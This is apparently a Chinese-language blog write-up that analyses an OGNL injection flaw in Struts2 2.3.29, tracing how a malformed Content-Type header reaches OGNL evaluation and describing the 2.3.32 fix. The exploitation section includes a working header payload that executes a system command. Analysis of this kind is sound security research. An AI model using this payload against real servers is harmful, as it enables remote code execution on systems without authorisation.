前言 经典 Java 软件漏洞 struts 系列,准备一个个看过去。
环境搭建 2.3.29 版本 struts2 + Tomcat 9。
在 struts.xml 中加上用于存放临时文件的 saveDir,当然不加也没什么关系:
1 <constant name ="struts.multipart.saveDir" value ="upload/" />
修改前端表单:
1 2 3 4 <s:form action ="login" method ="post" enctype ="multipart/form-data" > <s:file name ="upload" label ="选择上传的文件" /> <s:submit value ="提交" /> </s:form >
然后修改 Action,加上文件上传相关的属性以及他们的 getter、setter,后面两个属性应该也用不上:
1 2 3 private File upload;private String uploadContentType;private String uploadFileName;
漏洞分析 根据官方通告 ,问题发生在 Jakarta 解析 HTTP 头中的 Content-Type 时,如果 Content-Type 非法,struts2 会将错误抛出,而这里存在一个 OGNL 表达式注入。
开始调试,给 JakartaMultiPartRequest 类的 parse 函数下断点,结果发现修改 Content-Type 无法触发断点,往前跟踪到 Dispatcher 类的 wrapRequest 函数可以发现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public HttpServletRequest wrapRequest (HttpServletRequest request) throws IOException { if (request instanceof StrutsRequestWrapper) { return request; } String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data" )) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper (mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper (request, disableRequestAttributeValueStackLookup); } return request; }
content_type 中要包含 multipart/form-data 这个字符串,struts2 才会调用 Jakarta 进行下一步解析,我们回到 parse 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void parse (HttpServletRequest request, String saveDir) throws IOException { try { setLocale(request); processUpload(request, saveDir); } catch (FileUploadBase.SizeLimitExceededException e) { if (LOG.isWarnEnabled()) { LOG.warn("Request exceeded size limit!" , e); } String errorMessage = buildErrorMessage(e, new Object []{e.getPermittedSize(), e.getActualSize()}); if (!errors.contains(errorMessage)) { errors.add(errorMessage); } } catch (Exception e) { if (LOG.isWarnEnabled()) { LOG.warn("Unable to parse request" , e); } String errorMessage = buildErrorMessage(e, new Object []{}); if (!errors.contains(errorMessage)) { errors.add(errorMessage); } } }
观察捕获异常后调用的 buildErrorMessage 函数:
1 2 3 4 5 6 7 protected String buildErrorMessage (Throwable e, Object[] args) { String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName(); if (LOG.isDebugEnabled()) { LOG.debug("Preparing error message for key: [#0]" , errorKey); } return LocalizedTextUtil.findText(this .getClass(), errorKey, defaultLocale, e.getMessage(), args); }
会将错误信息做参调用 findText 函数,继续跟踪可以来到 getDefaultMessage 函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private static GetDefaultMessageReturnArg getDefaultMessage (String key, Locale locale, ValueStack valueStack, Object[] args, String defaultMessage) { GetDefaultMessageReturnArg result = null ; boolean found = true ; if (key != null ) { String message = findDefaultText(key, locale); if (message == null ) { message = defaultMessage; found = false ; } if (message != null ) { MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale); String msg = formatWithNullDetection(mf, args); result = new GetDefaultMessageReturnArg (msg, found); } } return result; }
调用 translateVariables 将错误信息当成了一个 OGNL 表达式来解析,所以如果我们能控制报错信息,我们就能进行 OGNL 表达式注入。
接下来观察 processUpload 函数的解析过程,来到跟 Content-Type 有关的 FileUploadBase 类的 FileItemIteratorImpl 函数,可以看到这里会抛出 InvalidContentTypeException:
1 2 3 4 5 6 7 String contentType = ctx.getContentType();if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException ( format("the request doesn't contain a %s or %s stream, content type header is %s" , MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType)); }
如果 Content-Type 不以 multipart/ 开头,就会抛出这个异常,而且将 Content-Type 拼接进了错误信息里面,这样利用链就完成了。
漏洞利用 跟之前 S2-037 的 payload 一致,如果是更高版本的 struts2,则要复杂一些,具体的后面再分析,这里贴一个 payload:
1 Content-Type : Twings multipart/form-data %{(#_memberAccess=@ognl .OgnlContext@DEFAULT_MEMBER_ACCESS ).(@java .lang.Runtime@getRuntime ().exec ('calc' ))}
漏洞修复 2.3.32 版本的修复,修改了 buildErrorMessage 函数:
1 2 3 4 5 if (LocalizedTextUtil.findText(this .getClass(), errorKey, defaultLocale, null , new Object [0 ]) == null ) { return LocalizedTextUtil.findText(this .getClass(), "struts.messages.error.uploading" , defaultLocale, null , new Object [] { e.getMessage() }); } else { return LocalizedTextUtil.findText(this .getClass(), errorKey, defaultLocale, null , args); }
不再将错误信息作为 defaultMessage 传入 findText 函数。
参考文章:
https://xz.aliyun.com/t/4605
https://xz.aliyun.com/t/3395